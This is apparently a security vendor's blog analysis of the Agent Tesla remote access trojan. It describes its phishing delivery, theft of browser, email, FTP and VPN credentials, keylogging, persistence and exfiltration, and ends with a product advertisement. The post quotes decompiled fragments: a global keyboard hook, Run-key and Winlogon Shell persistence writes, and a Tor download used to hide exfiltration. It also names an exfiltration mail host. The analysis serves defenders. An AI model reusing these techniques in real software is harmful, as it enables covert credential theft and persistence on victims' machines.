Agent Tesla Malware Analysis: How This .NET RAT Steals Your Data

Umut Bayram | 5 MIN READ

| June 23, 2026

Key Takeaways

Agent Tesla is a .NET-based Remote Access Trojan sold as Malware-as-a-Service on dark web forums since 2014, targeting Windows endpoints to steal credentials, browser data, and communications.
The malware steals saved passwords and cookies from dozens of browsers, email clients, FTP tools, and VPN configurations.
Agent Tesla uses the SetWindowsHookEx API to log keystrokes globally, and it also captures screenshots.
The malware maintains persistence by dropping a copy into the Startup folder and writing to the Run registry key and Winlogon Shell value.
Agent Tesla exfiltrates stolen data through SMTP, FTP, or HTTP, routed through a downloaded Tor browser for anonymization.
Picus Security Validation Platform simulates Agent Tesla campaigns, including droppers, loaders, keyloggers, and infostealers, to test your security controls against real attack behavior.

Agent Tesla operates as a Remote Access Trojan written in .NET. Threat actors deploy this malware to steal sensitive data from compromised Windows endpoints. Since 2014, cybercriminals have offered this tool as Malware-as-a-Service on dark web forums. The malware targets individual users and organizations worldwide, with primary targets concentrated in the United States, China, and Germany, as well as the global education sector. The primary objective involves exfiltrating credentials, browser histories, and communication records.

Operators typically deliver Agent Tesla through spear-phishing campaigns. Attackers attach malicious files to emails to trick victims into executing the initial payload. Observed delivery methods include batch scripts inside compressed archives and compiled HTML Help files. When users open an attachment, obfuscated scripts initiate a multi-stage infection chain. These scripts download additional payloads from remote servers and load the final payload directly into system memory.

In this blog, we explain how Agent Tesla operates and how Picus Security Validation Platform tests your defenses against this threat through real-world attack simulations.

How Does Agent Tesla Work?

Delivery Methods

Threat actors typically deliver Agent Tesla through:

Email attachments (the primary vector, often named things like "Purchase Inquiry.gz")
Compiled HTML help files (.chm)
Macro-enabled Word documents
Microsoft Office exploits
OLE objects
Batch files wrapped in archives

Core Capabilities

Data Collection and Credential Access

Agent Tesla hunts for specific applications to extract stored credentials. The malware parses SQLite databases, configuration files, and registry entries. It targets dozens of web browsers to steal saved passwords and cookies. A few of the targeted browsers are given below:

%APPDATA%\\Mozilla\\Firefox\\
%APPDATA%\\Google\\Chrome\\User Data
%APPDATA%\\Microsoft\\Edge\\User Data

The malware extracts account details from email clients such as Microsoft Outlook, Thunderbird, and Mailbird.

It also steals credentials from FTP clients like FileZilla and WinSCP.

Additionally, the malware searches for VPN configurations for OpenVPN and NordVPN.

Furthermore, it acts as a keylogger. The code implements the SetWindowsHookEx API. This legitimate Windows API allows the malware to intercept low-level keyboard input events globally across the operating system. Agent Tesla logs the keystrokes to a temporary file located at %temp%\log.tmp [1].

...

string moduleName =Process.GetCurrentProcess().MainModule.ModuleName;
IntPtr moduleHandle = global::A.c.A.GetModuleHandle(moduleName);
this.A = (IntPtr)global::A.c.A.SetWindowsHookEx(13, this.A, moduleHandle, 0);

...

It also has the ability to take screenshots and copy the images into a memory stream.

System Reconnaissance

Agent Tesla gathers host profiling data like username, computer name, operating system version, total physical memory, and CPU specifications. It sends these to the attacker-controlled server in addition to each exfiltrated data.

Process Hygiene

Agent Tesla enumerates running copies of the malware process and kills duplicates, keeping one instance alive.

Persistence

Two built-in mechanisms:

Copy of the binary dropped into the Startup folder
Registry Run key written to Software\Microsoft\Windows\CurrentVersion\Run and Winlogon Shell values [1]

...

using (RegistryKey registryKey = RegistryKey.OpenBaseKey(registryHive, RegistryView.Default).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
registryKey.SetValue(Path.GetFileNameWithoutExtension(A_0), "\"" + A_0 + "\"");
...
using (RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default).OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true))
{
string text = (string)registryKey2.GetValue("Shell");
registryKey2.SetValue("Shell", text + ", \"" + A_0 + "\"");
}
...

Exfiltration

Agent Tesla supports three exfiltration protocols:

SMTP on port 587 over TLS 1.2 (example: mail.knoow.net)
FTP through the STOR method with hardcoded credentials
HTTP through proxy

The malware also downloads a Tor browser copy to %appdata%\tor.zip, kills existing Tor processes first, and uses the Onion network to anonymize HTTP requests [1].

{
string text = "https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip";
try
{
string text2 = "https://www.theonionrouter[.]com/dist.torproject.org/torbrowser/";

...
using (WebClient webClient = new WebClient())
{
text5 = webClient.DownloadString(text2);
}
try
{

The malware formats the stolen data into specific file structures before exfiltration:

Data archives: CO_<username>/<ComputerName><DateTime>.zip
Keylogger logs: KL_<username>/<ComputerName>
Screenshots: SC_<username>/<ComputerName><DateTime>.jpeg

How Picus Simulates Agent Tesla Attacks?

We also strongly suggest simulating Agent Tesla Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other malware variants, such as BRICKSTORM, VenomRAT, Chinotto, and Rustonotto, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the Agent Tesla Attacks:

Threat ID	Threat Name	Attack Module
72801	Agent Tesla Malware Campaign	Windows Endpoint
28170	Agent Tesla Dropper Download Threat	Network Infiltration
68974	Agent Tesla Dropper Email Threat	E-mail Infiltration
31896	Agent Tesla Malware Downloader Download Threat	Network Infiltration
37328	Agent Tesla Malware Downloader Email Threat	E-mail Infiltration
62961	Agent Tesla Loader Download Threat	Network Infiltration
58397	Agent Tesla Loader Email Threat	E-mail Infiltration
41065	Agent Tesla Infostealer Download Threat	Network Infiltration
35594	Agent Tesla Infostealer Email Threat	E-mail Infiltration
66004	AgentTesla Trojan Download Threat	Network Infiltration
52678	AgentTesla Keylogger Dropper Download Threat	Network Infiltration
68715	Agent Tesla Keylogger Download Threat	Network Infiltration
68507	Agent Tesla Keylogger Email Threat	E-mail Infiltration
36426	AgentTesla Trojan Email Threat	E-mail Infiltration
23589	AgentTesla Keylogger Dropper Email Threat	E-mail Infiltration
42002	Negasteal Trojan Email Threat	E-mail Infiltration
32193	Negasteal Trojan Download Threat	Network Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.

References

[1] “Inside the Mind of a ‘Rat’ - Agent Tesla Detection and Analysis,” Splunk. Accessed: Apr. 19, 2026. [Online]. Available: https://www.splunk.com/en_us/blog/security/inside-the-mind-of-a-rat-agent-tesla-detection-and-analysis.html

Agent Tesla is a Remote Access Trojan written in .NET. Threat actors use this malware to steal sensitive data from Windows endpoints. Since 2014, cybercriminals have sold the tool as Malware-as-a-Service on dark web forums. The malware targets individual users and organizations worldwide to exfiltrate credentials, browser histories, and communication records.

Attackers deliver Agent Tesla mainly through spear-phishing emails with malicious attachments. Common delivery methods include email attachments named like "Purchase Inquiry.gz", compiled HTML help files (.chm), macro-enabled Word documents, Microsoft Office exploits, OLE objects, and batch files wrapped in archives. Opening an attachment triggers obfuscated scripts that start a multi-stage infection chain.

Agent Tesla steals saved passwords and cookies from dozens of web browsers, including Firefox, Chrome, and Edge. The malware extracts account details from email clients like Outlook, Thunderbird, and Mailbird. FTP credentials from FileZilla and WinSCP, and VPN configurations for OpenVPN and NordVPN are also targeted.

Agent Tesla acts as a keylogger through the SetWindowsHookEx API. This legitimate Windows API lets the malware intercept low-level keyboard input events globally across the operating system. Captured keystrokes get logged to a temporary file at %temp%\log.tmp. The malware also takes screenshots and copies the images into a memory stream.

Agent Tesla uses two built-in persistence mechanisms. A copy of the binary gets dropped into the Startup folder. A Registry Run key is written to Software\Microsoft\Windows\CurrentVersion\Run along with the Winlogon Shell value. These entries ensure the malware launches automatically whenever the infected system starts or a user logs in.

Agent Tesla supports three exfiltration protocols. SMTP runs on port 587 over TLS 1.2. FTP uses the STOR method with hardcoded credentials. HTTP requests go through a proxy. The malware also downloads a Tor browser copy to %appdata%\tor.zip and uses the Onion network to anonymize HTTP traffic to attacker servers.

Picus Security Validation Platform simulates Agent Tesla campaigns to test the effectiveness of your security controls against real-life cyber attacks. The Picus Threat Library includes 17 Agent Tesla threats covering droppers, loaders, keyloggers, and infostealers across Windows Endpoint, Network Infiltration, and E-mail Infiltration modules. A 14-day free trial of the Picus Platform is available.